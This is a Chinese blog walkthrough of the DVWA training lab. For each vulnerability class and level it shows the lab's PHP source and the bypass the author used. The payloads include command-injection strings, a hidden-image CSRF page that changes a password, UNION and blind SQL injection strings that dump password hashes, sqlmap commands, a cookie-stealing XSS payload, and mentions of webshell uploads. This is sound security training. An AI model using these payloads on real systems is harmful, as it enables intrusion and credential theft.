DVWA靶场通关笔记

  1. 环境部署--使用docker搭建:
plain 复制代码
# 明明很简单,我还搞了那么久
# 1.首先要拉取镜像
docker pull citizenstig/dvwa

# 2.使用以下命令列出本地的Docker镜像:
docker images

# 3.运行镜像并创建容器
使用以下命令运行DVWA镜像并创建一个容器:
docker run -dt  -p 80:80 -p 3306:3306 -e MYSQL_PASS="mypass" citizenstig/dvwa

# 4.查看运行的容器--看到dvwa这个容器即可
docker ps

# 5.查看端口映射关系:
docker port dvwa

ps:然后使用主机进行访问,ip:8080,这里的ip是安装docker的虚拟机的ip,不是实际物理机的ip!!!

# 查看虚拟机ip方法: ifconfig查看ens33接口(物理网卡,重点关注)
  1. 首先是一个登录页面,使用admin password进行登录重置好数据库之后,重新登录就可以看到这样一个界面,蕴含着一些基础的漏洞.
  2. Brute Force 暴力破解:
    1. 首先看看最简单难度的:直接使用bp抓包,将用户名密码进行爆破得到账户名密码,同时也可以使用admin'#提前闭合加注释,使用--也是可以的这样看来是没有做防护措施,接下来看看看源码:
php 复制代码
// Get username
$user = $_GET[ 'username' ];
这里对于输入输出没有做一定的过滤和数据清洗,可以使用万能密码进行登录
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
  // Get users details
  $row    = mysqli_fetch_assoc( $result );
  $avatar = $row["avatar"];

  // Login successful
  echo "<p>Welcome to the password protected area {$user}</p>";
  echo "<img src=\"{$avatar}\" />";
}
复制代码
2. 看看中等级别的medium:
php 复制代码
//处理输入:首先是检查了数据库连接,然后对输入的内容进行了字符转义(字符前加了反斜杠),这样就可以有效防止数据库注入
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//登录失败:延迟两秒可以减缓攻击频率,有效防止攻击
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>"; 
复制代码
3. high级别:
php 复制代码
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
关键代码是每次进行登录的时候都使用了token,这样一个用户登录令牌,这样的token一般是与对话强关联,而且生成token的算法未知,因此token的内容无法进行预测,这样就可以来防止攻击
//如果要尝试使用bp进行爆破,可以尝试使用手动替换令牌
复制代码
4. impossible级别:
php 复制代码
<?php

  if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
  // Check Anti-CSRF token
  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//同样使用了token技术,来防止不合法的访问
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
//净化了输入,将移除反斜杠
// Default values
$total_failed_login = 3;
$lockout_time       = 15;
$account_locked     = false;
//为登录失败设置锁定时间.
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
//使用PDO预编译机制,可以有效防止sql注入
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
  // User locked out.  Note, using this method would allow for user enumeration!
  //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
//超时会锁定时间,以下是计算锁定时间的逻辑
  // Calculate when the user would be allowed to login again
  $last_login = strtotime( $row[ 'last_login' ] );
  $timeout    = $last_login + ($lockout_time * 60);
  $timenow    = time();

  /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

  // Check to see if enough time has passed, if it hasn't locked the account
  if( $timenow < $timeout ) {
    $account_locked = true;
    // print "The account is locked<br />";
  }
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
  // Get users details
  $avatar       = $row[ 'avatar' ];
  $failed_login = $row[ 'failed_login' ];
  $last_login   = $row[ 'last_login' ];

  // Login successful
  echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
  echo "<img src=\"{$avatar}\" />";

  // Had the account been locked out since last login?
  if( $failed_login >= $total_failed_login ) {
    echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
    echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";
  }

  // Reset bad login count
  $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
  $data->bindParam( ':user', $user, PDO::PARAM_STR );
  $data->execute();
} else {
  // Login failed
  sleep( rand( 2, 4 ) );

  // Give the user some feedback
  echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
//统一报错信息,无法根据回显的不同来判断用户的有无
  // Update bad login count
  $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
  $data->bindParam( ':user', $user, PDO::PARAM_STR );
  $data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
  1. command injection命令注入:
    1. low:首先可以看看题目,这里是让我们输入一个地址,执行ping命令,这里可以是exec,system,eval等命令,如果是最简单的命令拼接的话,使用分号或者逻辑运算符进行多条命令的执行,这里可以使用& && | || 这里分号应该也是可以的,但是由于本地搭建使用的是windows,命令分割符号是&,所以可以使用&,这里使用了:127.0.0.1|systeminfo看看源码:
php 复制代码
if( isset( $_POST[ 'Submit' ]  ) ) {
  // Get input
  $target = $_REQUEST[ 'ip' ];

  // Determine OS and execute the ping command.
  if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
    $cmd = shell_exec( 'ping  ' . $target );
    //直接对命令进行拼接,无过滤
  }
  else {
    // *nix
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
  }

  // Feedback for the end user
  echo "<pre>{$cmd}</pre>";
} 
复制代码
2. medium:看看源码:
php 复制代码
// Set blacklist
$substitutions = array(
  '&&' => '',
  ';'  => '',
);
//利用了黑名单将分号和&&过滤,可以使用|或||进行绕过
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
复制代码
3. high:看看源码:
php 复制代码
//将几种核心的绕过方法都进行绕过
    // Set blacklist
    $substitutions = array(
        '||' => '',
        '&'  => '',
        ';'  => '',
        '| ' => '',
      //这里转换的是|加一个空格,所以使用|是可以的
      '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
      //在linux下可以使用  将括号中的命令结果替换到原位置
      127.0.0.1$(touch /tmp/pwned)   # 创建文件/tmp/pwned
        '`'  => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
复制代码
4. impossible:看看源码:
php 复制代码
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
//这里会移除所有的反斜杠
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
//将输入的内容分成了4个部分,确保每一部分是数字,这样就极大的减小了命令注入的风险
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target ); 
  1. CSRF跨站请求伪造:首先学习一下这个漏洞的概念https://blog.csdn.net/weixin_46428928/article/details/144374598?ops_request_misc=%257B%2522request%255Fid%2522%253A%252200dcddeab922d6e7e6ef8657af66c359%2522%252C%2522scm%2522%253A%252220140713.130102334...%2522%257D&request_id=00dcddeab922d6e7e6ef8657af66c359&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-144374598-null-null.142v102pc_search_result_base8&utm_term=csrf%E6%BC%8F%E6%B4%9E%E8%AF%A6%E8%A7%A3&spm=1018.2226.3001.4187
    1. 简要了解过后,这里只给了一个新密码和确认新密码的输入框:来看看low级别的源码:
php 复制代码
<?php

  if( isset( $_GET[ 'Change' ] ) ) {
  // Get input
  $pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
//得到两个密码的输入
// Do the passwords match?
// 两个密码输入的一样的话就可以将新的密码插入到数据库中,成功更改密码
if( $pass_new == $pass_conf ) {
  // They do!
  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  $pass_new = md5( $pass_new );

  // Update the database
  $current_user = dvwaCurrentUser();
  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  //如果两个密码输入的匹配的话,就更新当前用户密码
  // Feedback for the user
  echo "<pre>Password Changed.</pre>";
}
else {
  // Issue with passwords matching
  echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
复制代码
    1. 通过验证这个界面可以更改密码,查看源码可以发现只要密码两次输入的一样就可以成功更改密码,这里可以发现url的变化,`[http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#](http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#)`这里可以发现,只要是已经登录的情况,在访问这个链接就可以成功改变密码为123,于是我们新建一个页面,里面蕴含一个这个链接就可以了.
php 复制代码
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>
复制代码
    2. 这里注意,需要通过让用户点击或者访问这个页面,密码才可正常修改。![](https://cdn.nlark.com/yuque/0/2025/png/39210681/1752202071610-51aecf36-927b-4112-a418-a086d1ddb899.png)这次在使用这个新密码进行登录发现可以进行登录
1. 看看medium级别的源码:
php 复制代码
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False
//判断Host字段是否出现在referer字段中
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
  这些是比low级别多的一些内容,主要是增加了对于referer的检验,为了绕过,我们必须要在referer字段里面增加当前的站名
php 复制代码
于是绕过方法如下,
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>
  1. file inclusion 文件包含漏洞:
    1. 首先什么是文件包含漏洞?在程序员开发网站的时候,为了代码简洁高效,程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
    2. 文件包含漏洞的的形成以及常用函数:当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。require():可以包含文件,如果包含错了,直接报错并退出程序的执行 include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行 require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次
    3. 看看靶场的情景:这里发现,每次进行不同的点击查看不同的文件,page的参数值就会改变,于是将page的参数值更改为其他希望读取的文件,这里可以随意试试文件名:
      1. 这是low的源码:没有做任何安全措施,于是可以尝试访问一下上级目录的phpinfo,利用成功.
      2. 看看medium级别的源码:这里可以看到是将相对路径访问的形式给过滤了,这样就不可以直接通过.../.../去访问文件,但是的话,这里用到的是php的str_Replace函数,这个函数进行的替换操作可以通过双写进行绕过,于是我们可以试试:这里的..././就是通过双写方式进行绕过的可以看到成功读取到了phpinfo文件,同样的,过滤了http这里可以采用hthttp://tp://来进行绕过,这里也是可以成功访问到百度的网页,不过实际环境中,我们不会使用这个,而是执行远程服务器的代码,达到植入木马或者获取敏感信息的目的.通常这里可以使用一个远程服务器的木马地址,进行连接,然后使用菜刀或者蚁剑连接即可,
      3. 看看high级别的代码:这里要求文件名必须匹配以file开头或者是include.php才行.但是这里可以使用file://,这个协议用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。于是乎,可以利用file:///+文件绝对路径的方式进行读取:
      4. 看看impossible的:使用了白名单,没办法了,这样已经足够安全了,可以有效防止文件包含漏洞
  2. file upload 文件上传;
    1. 漏洞形成以及原理:
      1. 大部分的网站和应用都有上传功能,如用户头像上传,图片,logo,文档等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者像某个可通过web访问的目录上传任意php文件,并能够将这些文件传递给php解释器,就可以在远程服务器上执行任意php脚本。
      2. 服务器在处理用户上传文件时,因校验机制不严格或保存逻辑存在缺陷,让攻击者有机可乘。在正常流程中,服务器本应通过检查文件扩展名、内容格式、MIME 类型等方式过滤危险文件,并通过随机命名、限制存储目录权限等方式确保文件安全保存。但当校验环节出现漏洞时,比如仅验证扩展名却忽略内容(攻击者可将木马文件命名为 "image.jpg" 蒙混过关)、过滤规则不全面(允许 ".php5" 等特殊扩展名且服务器支持解析),或仅校验 HTTP 头中的 MIME 类型(攻击者可伪造类型字段),恶意文件就会被当作合法文件放行。而在保存环节,若服务器直接使用用户提供的原始文件名(未做随机化处理),或存储目录被赋予可执行权限,攻击者上传的恶意文件(如含命令执行代码的 PHP 文件)就会被保存到服务器可访问路径,一旦通过浏览器访问或被其他功能调用,恶意代码便会被服务器执行,最终导致攻击者窃取数据、控制服务器等危害。
    2. 靶场练习:
      1. low:看看源码:可以发现,这段代码是这样的,先将上传的文件进行一个命名的保存,两次直接 拼接,而不对上传的文件后缀和文件头信息进行检查,于是乎,这种情况是可以直接使用php文件进行上传的:成功连接后台
      2. 再来看看medium的:可以发现这里多了个类型绕过,前端类型绕过,于是我们可以先将一个php文件后缀更改为jpg,然后再使用bp抓包,更改后缀为php即可,
      3. high:看看源码:这个题和上一题有增加了一个点,就是getimagesize这个函数,这个函数除了能够获得图片的大小之外呢,还有个隐藏功能,他能够判断你这个图片是否能真的被打开,判断是不是真的是一个图片,那么实际上这里已经对文件上传来说已经很完善了,但是,做过之前的文件包含我们知道,这里还可以利用之前的文件包含,在include函数解析图片马的时候,是会解析图片里面的内容的,如果包含php代码,那么就会强制转码,并且将php代码进行执行,于是我们先准备一个图片马,使用010打开图片将一句话木马镶嵌在里面,通过之前的文件包含页面进行访问发现可以成功访问,于是使用菜刀进行连接即可.
      4. impossible:源代码这里已经是相当的完善了;这里加入了token的判断,同时跟之前了开始类似,先获需要的信息,比如文件名,文件后缀,文件大小,临时文件路径,然后确定文件要移动到的位置,对文件进行处理,先判断文件类型是否是图片,通过http报文进行第一步判断,然后再使用getimagesize,判断是不是一个可以打开的图片,最后在使用imagegenerate,通过当前图片在生成一个新的图片,同时会去掉图片里面的注释等无用信息,我们写的木马就是在注释里面的,于是,这种方法也有效预防了图片马的上传.
  3. sql注入:
    1. 漏洞成因:
    2. 回显注入:
      1. low:看看源码:这里是将id直接拼接到sql语句中没有对其做进一步的处理:于是就采用最常见的方法进行注入:判断注入方式:1'发现报错,检测回显字段数量:-1' order by 3#那就是2个字段查看所遇数据库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata;#当前数据库:-1' union select 1,database();#数据库下的表:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa';#对应表的字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users';#具体字段值:-1' union select 1,group_concat(password) from dvwa.users;#
      2. medium:看看源码:和low难度只有一个小小的差别,在获得了输入之后,对其中的特殊符号进行了转义,比如单引号会转换为',通过bp抓包修改字段,后续就可以实现一部分不需要特殊字符的注入这里如果遇到需要使用单引号的,可以通过使用十六进制绕过函数mysql_real_escape_string,user的十六进制是0x7573657273
      3. high:看看源码:相比于中级难度,这里多了一个llimit 1,作用是每次只显示一行查询结果,这里如果使用上一题的做法晚完全可以,-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273;#那么这一题的作用何在呢?这一题实际上是为了防止使用自动化工具
      4. impossible:看看源码是怎么防范的:这里一共是进行了四层防护,首先第一个是设置了token.这样就防止了使用自动化工具进行使用,第二项是使用了is_numeric函数,判断id是不是数字,是数字才可以,第三层是使用预处理函数prepare,进一步防范,最后一层再次对id的类型进行了一个校验,必须为数字类型的,这样一来安全系数就大大提高了.
      5. 总结,这由于前两个难度都开启了报错显示,于是这两个难度也都可以使用报错注入进行.
    3. 盲注:
      1. low:这里的话和直接注入代码相似,只是将输出换为了用户是否存在,并且仅仅只有两种不同结果,这里就可以使用盲注的方法,先看看手工注入的方法,我们可以发现,当我们使用1' and 2=1#时,这里回显不存在而当我们输入1' and 1=1#这回显存在,那么这里可以发现,只要我们将and后面的条件改一下,就可以得到两种不同的结果于是乎,可以开始构造payload了,首先看看数据库名长度吧,1' and (length(database())=4)#逐个破解数据库名:1' and left(database(),1)='d'#后面对于数据库表,字段名等均是如此操作:,除此之外,也可以使用sqlmap自动化注入,sqlmap命令:sqlmap.py -u "[http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"](http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#") --cookie "PHPSESSID=kp9o9hijgg73c53rel6gva5521; security=low" --batch --dbs # 获取数据库名 获取表名:sqlmap.py -u "[http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"](http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#") --cookie "PHPSESSID=kp9o9hijgg73c53rel6gva5521; security=low" --batch -D dvwa --tables 字段名:sqlmap.py -u "[http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"](http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#") --cookie "PHPSESSID=kp9o9hijgg73c53rel6gva5521; security=low" --batch -D dvwa -T users --columns 查询字段:sqlmap.py -u "[http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"](http://192.168.111.135/vulnerabilities/sqli_blind/?id=1&Submit=Submit#") --cookie "PHPSESSID=kp9o9hijgg73c53rel6gva5521; security=low" --batch -D dvwa -T users --dump
      2. medium:这里是post注入,所以使用post注入的方式:sqlmap.py -r C:/Users/ASUS/Desktop/blind2.txt --batch抓包将post报文保存:后面的步骤是一样的.
      3. high:这里是post注入,但是我们在体检页面发现这样一个现象,点击更改id之后他会跳转到这样一个界面这里的url也进行了更新:[http://192.168.111.135/vulnerabilities/sqli_blind/cookie-input.php](http://192.168.111.135/vulnerabilities/sqli_blind/cookie-input.php)但是最终结果的回显不在这个页面,回显还是在之前的[http://192.168.111.135/vulnerabilities/sqli_blind/](http://192.168.111.135/vulnerabilities/sqli_blind/)对于这种情况应该如何应对呢:首先我们发现这里是单引号闭合,后面通过手工注入的方法可以依次获得库名:1' and left(database(),1)='d'#和前一题目的方法一致,这里使用sqlmap的话,需要用到--second-u:sqlmap.py -r C:/Users/ASUS/Desktop/blind3.txt --second-u "[http://192.168.111.135/vulnerabilities/sqli_blind/"](http://192.168.111.135/vulnerabilities/sqli_blind/") --batch这里解释一下second-u的含义,是回显页面的url
      4. impossible:这里的impossible难度和一般注入的impossible难度是一样的,这里也是利用了token+PDO机制来防止sql注入.
  4. XSS:
    1. 反射型XSS:这里的攻击仅仅获取本地cookie(没有vps搭建环境)
      1. low:看看源码:这里首先检查了是否有进行输入,如果有的话将其直接拼接到输出语句里面,有输入有输出,试试插入js代码试试:发现可以形成弹窗,也就是存在XSS,于是,我们进行攻击, 使用<img src=## onerror=alert(document.cookie)>用户在点击图片的时候会进行一个cookie的回弹,实际攻击中这里可以替换为返回cookie信息并发送至黑客服务器
      2. medium:看看源码在low的基础上将
相关推荐
缘友一世5 小时前
清除入侵痕迹(win&Linux&web)
网络安全·渗透测试·痕迹清除
jieyu11197 小时前
Python 实战:Web 漏洞 Python POC 代码及原理详解(1)
python·web安全
帅次9 小时前
系统分析师-信息安全-信息系统安全体系&数据安全与保密
安全·web安全·网络安全·系统安全·密码学·安全威胁分析·安全架构
Whoami!11 小时前
⸢ 拾-Ⅰ⸥⤳ 威胁感知与响应建设方案:感知覆盖&威胁识别
网络安全·信息安全·态势感知·威胁处置
NOVAnet202311 小时前
为迎战双十一,南凌科技发布「大促网络保障解决方案」,以确定性网络抵御不确定流量洪峰
网络·科技·安全·网络安全
xixixi7777721 小时前
信息安全和网络安全的区分在哪
网络·安全·web安全·信息安全
汤愈韬1 天前
域网络,域环境搭建
windows·网络安全
b0uu1 天前
2025高校网络安全管理运维赛决赛-取证赛道
安全·web安全
white-persist1 天前
社会工程学全解析:从原理到实战
网络·安全·web安全·网络安全·信息可视化·系统安全·1024程序员节